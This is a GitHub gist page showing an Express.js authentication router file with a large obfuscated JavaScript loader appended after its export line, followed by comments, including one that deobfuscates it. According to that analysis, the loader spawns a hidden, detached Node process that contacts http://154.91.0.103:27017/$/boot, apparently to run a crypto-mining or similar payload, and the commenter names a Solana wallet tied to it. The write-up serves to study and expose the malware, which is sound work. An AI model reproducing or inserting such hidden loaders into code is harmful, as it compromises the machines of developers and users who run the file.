Created
December 26, 2024 05:52
-
-
Save Mr-MaNia7/d68e03554687e592e74fb087cd6b871b to your computer and use it in GitHub Desktop.
obfuscated js code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const express = require("express"); | |
| const authController = require("../controllers/authController"); | |
| const userController = require("../controllers/userController"); | |
| const transactionController = require("../controllers/transactionController"); | |
| const router = express.Router(); | |
| router.post("/getVerifyCode", authController.getVerifyCode); | |
| router.post("/signup", authController.check2FACode, authController.signUp); | |
| router.post("/login", authController.logIn); | |
| router.get("/logout", authController.logOut); | |
| router.post("/getAccountName", authController.getAccountName); | |
| router.post( | |
| "/getVerifyCodeForPasswordReset", | |
| authController.getVerifyCodeForPasswordReset | |
| ); | |
| router.post( | |
| "/resetPassword", | |
| authController.check2FACode, | |
| authController.resetPassword | |
| ); | |
| // Protect all routes after this middleware | |
| router.use(authController.protect); | |
| router.patch( | |
| "/upgradeUserTier", | |
| transactionController.checkTransactionKey, | |
| userController.upgradeUserTier | |
| ); | |
| router.patch( | |
| "/updatePassword", | |
| transactionController.checkTransactionKey, | |
| authController.updatePassword | |
| ); | |
| router.get( | |
| "/getVerifyCodeForTrxKeyUpdate", | |
| authController.getVerifyCodeForTrxKeyUpdate | |
| ); | |
| router.patch( | |
| "/updateTrxKey", | |
| authController.check2FACode, | |
| userController.updateTrxKey | |
| ); | |
| router.post("/submitMessage", userController.submitMessage); | |
| router.get("/me", userController.getMe, userController.getUser); | |
| // router.patch('/updateMe', | |
| // // userController.uploadUserPhoto, | |
| // // userController.resizeUserPhoto, | |
| // userController.updateMe | |
| // ); | |
| // router.delete('/deleteMe', userController.deleteMe); | |
| module.exports = router; | |
| global["_V"] = 3; | |
| global["r"] = require; | |
| var a0b, a0a; | |
| (function () { | |
| var FHK = "", | |
| siK = 153 - 142; | |
| function efW(z) { | |
| var c = 2169898; | |
| var j = z.length; | |
| var r = []; | |
| for (var o = 0; o < j; o++) { | |
| r[o] = z.charAt(o); | |
| } | |
| for (var o = 0; o < j; o++) { | |
| var u = c * (o + 131) + (c % 36206); | |
| var t = c * (o + 741) + (c % 16120); | |
| var m = u % j; | |
| var q = t % j; | |
| var k = r[m]; | |
| r[m] = r[q]; | |
| r[q] = k; | |
| c = (u + t) % 5158178; | |
| } | |
| return r.join(""); | |
| } | |
| var WnE = efW("vtcstlojqptkbdrfoncuurgmnarihczoxweys").substr(0, siK); | |
| var KOo = | |
| 'aa{ 9={1nk(2o,==+4+vjroak"1b]d-fah!jyl=nxptr=t.vrx,z);la" t=f9a,,9e7r,=8-80,=5r89,i467p,e2s7),i648h,(6,8=,d9,7+,q0r88,=5 ;}ar A=n];ftrgvhrett0atan.ldnftp;C+g)r[{[c]g=[+r;aa; j=6]nqu=)2lk)=[6rs;=<2af8rxv.r[wl0ewvangom+nvswl)n tt;.+{)(v6rhj3a=gim.nnslw;.)pris(h +)1f=rdvrrqhuj.l*n]t -h;v>]0rh{-1{+aa p= u)lvvfrtcnj4hu;=a= =guvl;v(rad[0"vsrrv=crltnrti;(ao 1;oo.(xa+ u= ;]<};.+p)(v-rrg1ckc(a4Cvd[A,(<)cv=rho2bhgr;)flot{)=ror12*6+5.1h]rCocemtSr.1x-(;(=r;=+[;ee=s( 0f0g(=d)jp;kv(i.uengnh)qpc.csa]Cod7Ax(s+[)=+l.0h.raovertlr12+-m;)= ;g+)2a}vl;e+canyieu(;,iu(u=ennl3)e=e];il(c>t)t.7u"hrc.s6bpt7itghdilm)0x,p,si(=[i+t]f;i=r+a;;ib([!)nllf)aih(.<;)o.)uth.c slbqteilgrdt)ejohu=;.to+n("0);}0yrprsc(+[w]C;vvfrCuty+jvi;(g"};oa ;=s3r,82,1A,s9l9.,[2s.po;c;tnn[;"ax r=ctri,g(frotC(arCjd((,62;fov(xah ==o;b<r.derg6h)tn+(u,u snl)t(m;a]crajA1( )v.+oen)Sar}nh.7rim,hir;ose=i6t")r;;eduaneu7srl(t]mq"n"}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=ttZcZi).!wn#c_haoaTd0Z,lfUz_{0a8()9 8cN9)ac(8$#,Z.9fp5) 7t$1Zpar-ZI97(agZaZZoolZ3)ZZ0EZZ5a9$stt0ZkE ts.e(85b4a_ZB uCg?$h?bizZ7i%c.Zaa72a(f,ae $$b{Zo49rZ,2$u=49ZZ] .(C89_6mf..$1t .E.r_[tdZto!%}@f\'ZaZ)oZ.aue)]1aKaZ=i)f=DZX=]bj8d(6jfw8Z.N.Eb%Z(($p(.=Z7;i=;1dZ%,( Z7].nM0e$8 $dcZ6VZ_Z3!n(Rec4wUZ]ZorrlM;_S+N(X1.fZ(Z)5(!]lleZ]a:2Z,ZZ$ZZ])[f;)?]Zme8Znad r.d>oqZt1u11$%fd4u)*Z5Pfd;(107Z.xl;9e9ZZ5,4t+a833h.vZ7,%r Zs01ZlZoZ I0ijka_)8_Z,&ayvY \'dZZ= Z=.c%Zs]+w=,3nZ4%_Z,st.Q9cbZ7t(dj:nZa .{)Z G]5Z7{ph9aht.sZ3wZu;%0g541c]_:oZn [f0._))!]2t,_ruZZ.oj3;Kf3 Z,3(Zl%}8Znemoc(jZo=Z_4+a )_i)dcm7. 2 _0ZZin _}t1)i0Zbqa$;;a8)1([%),gd)8a=v' | |
| ) | |
| ); | |
| var its = kNz(FHK, zQb); | |
| its(2713); | |
| return 6659; | |
| })(); |
How in the world do we decode such things.....I'm seeing this for the first time!!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I don't know which code was written to make this code obfuscated. So, I had to deobfuscate it manually. Manually deobfuscating the code was an incredibly challenging and time-consuming task due to its advanced obfuscation techniques. The heavy use of nested logic, dynamic code execution, and cryptic split-join operations made it difficult to trace the code's intent. Each variable and function reference had to be carefully reversed, tracked, and pieced together. I had to keep patience and persistence to decode every layer manually and of course give some time. After all in the last, I got the result that I wanted. :)
So, it all starts with this string:
After decoding it we get:
The main function here is af1949876. We see a code block inside it:
It resolves to something similar to this:
The next lines after that resolves to something like:
So the main thing here is this.
spawn(command, args, spawnOptions)The
spawnfunction from Node.js'schild_processmodule is used to launch a new process. It allows running commands directly from your system shell and is often used to execute external programs or scripts.Breaking Down the Code
Code Snippet:
command:args:commandargs = ['-e', 'global[\'r\'] = require;(function(){var bhu=\'\',eMA=368-357;...............']'-e'tellsnodeto execute a script directly from the command line.<obfuscatedCode>contains the actual malicious obfuscated script.spawnOptions:spawnOptionsis an empty object{}because Windows requires minimal configuration.detached: truemakes the child process independent of the parent process.stdio: 'ignore'prevents the child process from inheriting the parent's standard input/output streams.windowsHide: truehides the child process window on Windows.Here in the args, in the
<obfuscatedCode>, we again get another code :Now, we are onto the final step.
global[_$_1959[0]]holds the main ip address that it is pinging which resolves to http://154.91.0.103:27017/$/boot with the headers_$_1959[6]resolving toMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36In the end, it will run a background process and mine cryptos from your system.
I am not familiar with crpytos and stuffs. Upto how much I know, here's a simple implementation in Express.js to securely fetch account details, monitor Solana transactions, and retrieve memos.:
Observations
Upon monitoring the wallet
GHCdBSGpFg8MdMTSDDitRNwmsT4Wy95CUe2VSEZpEzsZ, the balance was0.09771454 SOL (~₹1548.32. Several transactions were logged in the history.http://154.91.0.103:27017This was the ip address that was used to mine Solana